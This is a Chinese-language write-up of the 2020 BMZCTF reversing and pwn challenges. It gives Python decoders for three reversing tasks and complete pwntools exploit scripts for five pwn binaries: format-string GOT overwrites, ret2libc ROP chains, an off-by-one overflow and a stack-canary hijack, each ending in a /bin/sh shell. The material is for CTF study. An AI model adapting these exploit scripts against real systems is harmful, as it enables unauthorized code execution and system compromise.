2020 BMZCTF Re&Pwn WriteUp
Re
re1
main
函数如下
对输入逐字符加密,先后进行了异或、取余、异或,由于取余操作不好直接逆向,所以这里采用对128个ascii
码全部进行上述加密,然后只要查表就可以得到加密前的ascii
码了。
flag=[5070369,5070379,5070398,5070368,5070420,5070365,5070346,5070389,5070364,5070387,5070337,5070392,5070349,5070370,5070386,5070370,5070391,5070380,5070444,5070392,5070446,5070380,5070392,5070364,5070376,5070447,5070446,5070426]
def en(a):
a^=0x1A2B3C
a%=0x1A2B0C
a^=0x4D5E6F
return a
key={}
for i in range(128):
key[en(i)]=i
for i in flag:
print(chr(key[i]),end='')
# flag{BMZCTF_ReUeXs3_1s_Co01}
re2
Auth
函数如下:
该函数将输入分成三段处理,先进行异或和倒序(注意第二段没有倒序),然后S盒交换。就S盒提取出来,写脚本就行了。
out_part1=[3214, 3205, 3207, 3225, 3236, 3281, 3203, 3214, 3204]
out_part2=[3994, 3979, 4000, 4047, 3981, 4000, 4025, 3998, 4000]
out_part3=[1167, 1177, 1167, 1175, 1245, 1205, 1180, 1154, 1208]
subA=[ 7, 5, 2, 4, 3, 1, 6, 0, 8 ]
subB=[ 2, 6, 0, 7, 4, 5, 1, 3, 8]
subC=[3, 1, 6, 0, 8, 5, 2, 7, 4]
p1=[0]*9
p2=[0]*9
p3=[0]*9
for i in range(9):
p1[subA[i]]=out_part1[i]^0xCE2
p2[subB[i]]=out_part2[i]^0xFFF
p3[subC[i]]=out_part3[i]^0x4EA
print(''.join(map(chr,p1[::-1]+p2+p3[::-1])))
# flag{Fe3l_Fear_t0_7he_Revs}
re3
android
逆向,这题并不是让你输入,然后返回结果,而是直接解密输出flag,可以复制一遍代码运行一下。这里还有一种方法,解密逻辑在FlagActivity
里,因此直接修改AndroidManifest.xml
,把FlagActivity
改成启动项,打包安装就行了。虽然在MainActivity
里有签名校验,但是不启动他自然也不会检验了。
Pwn
注:我使用的LibcSearcher
我自己魔改过,其中dumpb
函数是我自己添加的,返回的是加上基址后的某函数的地址。
pwn1
非常明显的格式化字符串漏洞,并且给了后门函数。可以修改GOT表printf
函数的地址,改成后门函数就行了(要一次性改好,所以有点慢)。
from pwn import *
from LibcSearcher import *
REMOTE=True
if REMOTE:
context(os='linux', log_level='info')
p = remote("47.242.59.61",10000)
else:
context(os='linux',log_level='info')
p = process('./pwn1')
p.recvuntil(" Wealcome to BMZCTF \n")
vuln_addr=0x80486AE
got_printf=0x804A014
p.sendline(flat('%'+str(vuln_addr)+'c%14$n',got_printf,word_size=32))
p.sendline('.')
p.interactive()
# bmzctf{ad048824-0848-4f51-8819-bccd40f83532}
pwn2
check
有非常明显的栈溢出,非常经典的ROP。
from pwn import *
from LibcSearcher import *
REMOTE=True
if REMOTE:
context(os='linux', log_level='info')
p = remote("47.242.59.61",10001)
else:
context(os='linux',log_level='info')
p = process('./pwn2')
p.recvuntil("Who are you?")
plt_puts=0x400560
got_puts=0x601018
pop_rdi=0x400833
restart=0x4005C0
p.recv()
# 泄露puts地址并重新开始程序
p.sendline(flat({56:
[
pop_rdi,got_puts,
plt_puts,
restart
]
},word_size=64))
puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'\0'))
print(hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
p.sendline(flat({56:
[
pop_rdi,libc.dumpb('str_bin_sh'),
libc.dumpb('system')
]
},word_size=64))
p.interactive()
# bmzctf{ec9f5740-b3d4-4b5d-8996-798c5b6366f9}
pwn3
这道题的漏洞比较隐蔽,
所以这里存在Off-By-One
漏洞,可以通过不断的输入N
来向后移动smsg
函数里的buf
指针,导致栈溢出
from pwn import *
from LibcSearcher import *
REMOTE=True
if REMOTE:
context(os='linux', log_level='debug')
p = remote("47.242.59.61",10002)
else:
context(os='linux',log_level='info')
p = process('./pwn3')
def smsg(payload):
p.sendlineafter('>','smsg')
# 移动buf指针
for _ in range(80):
p.sendlineafter('->','')
p.sendlineafter('Send?(Y/N)','N')
p.sendlineafter('->',b' '*7+payload)
p.sendlineafter('Send?(Y/N)','Y')
plt_puts=0x401040
got_puts=0x404020
pop_rdi=0x40155b
restart=0x4010B0
ret=0x4014FA
# 下面的同上一题
smsg(flat(flat(
pop_rdi,got_puts,
plt_puts,
restart
,word_size=64)))
p.recvuntil('Sent.\n')
puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'\0'))
print(hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
smsg(flat(
pop_rdi,libc.dumpb('str_bin_sh'),
ret, # 对齐栈
libc.dumpb('system')
,word_size=64))
p.interactive()
# bmzctf{16833c9c-5ce7-4878-b975-f4ed1fac6049}
pwn4
这题又是格式化字符串漏洞,但是这次看上去只有一机会,但是肯定是不可能一次就getshell
的。
在结束程序前,唯一的操作就是进行了Canary
检测,那就利用这个,将GOT表中___stack_chk_fail
的地址改成main_0
的地址,同时故意输入很长,触发Canary
保护,就可以进行多次printf
了。当然,之后的每一次也要故意溢出。
可以布局栈然后修改___stack_chk_fail
地址到自己布局的栈上。而我利用了setvbuf(stdin, 0LL, 2, 0LL);
,将setvbuf
改成system
,stdin
改成/bin/sh
的地址。
from pwn import *
from LibcSearcher import *
REMOTE=True
if REMOTE:
context(os='linux', log_level='debug')
p = remote("47.242.59.61",10003)
else:
context(os='linux',log_level='info')
p = process('./pwn4')
got_stack_chk_fail=0x601020
got_printf=0x601028
got_setvbuf=0x601058
bss_stdin=0x601088
p.sendlineafter(': ','')
def send(*payload):
p.sendafter(': ',flat({0:[payload],31:'\n'},word_size=64))
def padding(data,length):
return data+' '*(length-len(data))
# stack_chk_fail -> main_0
send(padding('%2245c%8$hn',16),got_stack_chk_fail)
# leak glibc
send('%7$s ',got_printf)
printf_addr=u64(p.recvuntil(' ')[:-1].ljust(8,b'\0'))
libc=LibcSearcher('printf',printf_addr)
def set(addr,value):
for i in range(len(value)):
j=value[i]
if j==0:
send(padding('%7$hhn',8),addr+i)
else:
send(padding('%'+str(j)+'c%8$hhn',16),addr+i)
# setvbuf -> system
# stdin -> "/bin/sh"
set(bss_stdin,p64(libc.dumpb('str_bin_sh')))
set(got_setvbuf,p64(libc.dumpb('system')))
# stack_chk_fail -> setvbuf(stdin)
send(padding('%'+str(0x56)+'c%8$hhn',16),got_stack_chk_fail)
p.interactive()
# bmzctf{71fe464d-3d28-49d8-952b-e338dd60d169}
pwn5
这题又双叒叕是格式化字符串漏洞,这次是有一个计数器来限制只允许调用一次,但是这个计数器也在栈中,因此开头输入%7$n
就可以绕过了(输%7$lln
还可以同时清空leak
函数的计数器,但是我没有用到leak
函数= =),接下来就是常规的布局栈、跳转。
from pwn import *
from LibcSearcher import *
import re
from pwnlib.replacements import sleep
REMOTE=True
if REMOTE:
context(os='linux', log_level='debug')
p = remote("47.242.59.61",10004)
else:
context(os='linux',log_level='debug')
p = process('./pwn5')
p.sendlineafter('tell me the time:','1 1 1')
def padding(data,length):
return data+' '*(length-len(data))
# 泄露程序地址
p.sendlineafter('>>','2')
if REMOTE:
sleep(0.5)
p.sendline('%7$n%17$p ')
a=p.recvuntil(' \n').decode()
a=re.findall('0x([0-9a-f]+) \n',a)[0]
main_76_addr=int(a,16)
ret_addr=main_76_addr+135
got_setvbuf_addr=main_76_addr+0x200f94
# 泄露堆地址
p.sendlineafter('>>','2')
if REMOTE:
sleep(0.5)
p.sendline('%7$n%7$p ')
a=p.recvuntil(' \n').decode()
a=re.findall('0x([0-9a-f]+) \n',a)[0]
heap_addr=int(a,16)-20
# 泄露libc
p.sendlineafter('>>','2')
if REMOTE:
sleep(0.5)
p.sendline(flat(padding('%7$n%10$s ',16),got_setvbuf_addr,word_size=64))
setvbuf_addr=u64(p.recvuntil(' ')[:-1].ljust(8,b'\0'))
libc=LibcSearcher('setvbuf',setvbuf_addr)
def set(addr,value):
for i in range(len(value)):
p.sendlineafter('>>','2')
if REMOTE:
sleep(0.5)
if value[i]==0:
p.sendline(flat(padding('%7$n%10$hhn',16),addr+i,word_size=64))
else:
p.sendline(flat(padding('%7$n%'+str(value[i])+'c%11$hhn',24),addr+i,word_size=64))
# 布局栈
set(heap_addr+8*7,flat(ret_addr,libc.dumpb('str_bin_sh'),libc.dumpb('system'),word_size=64))
# 跳转
p.sendlineafter('>>','2')
p.sendline(flat(padding('%'+str(0xaa)+'c%10$hhn',16),heap_addr,word_size=64))
p.interactive()
# bmzctf{3e8e8d83-7b4f-43bb-a2dd-77db11de2679}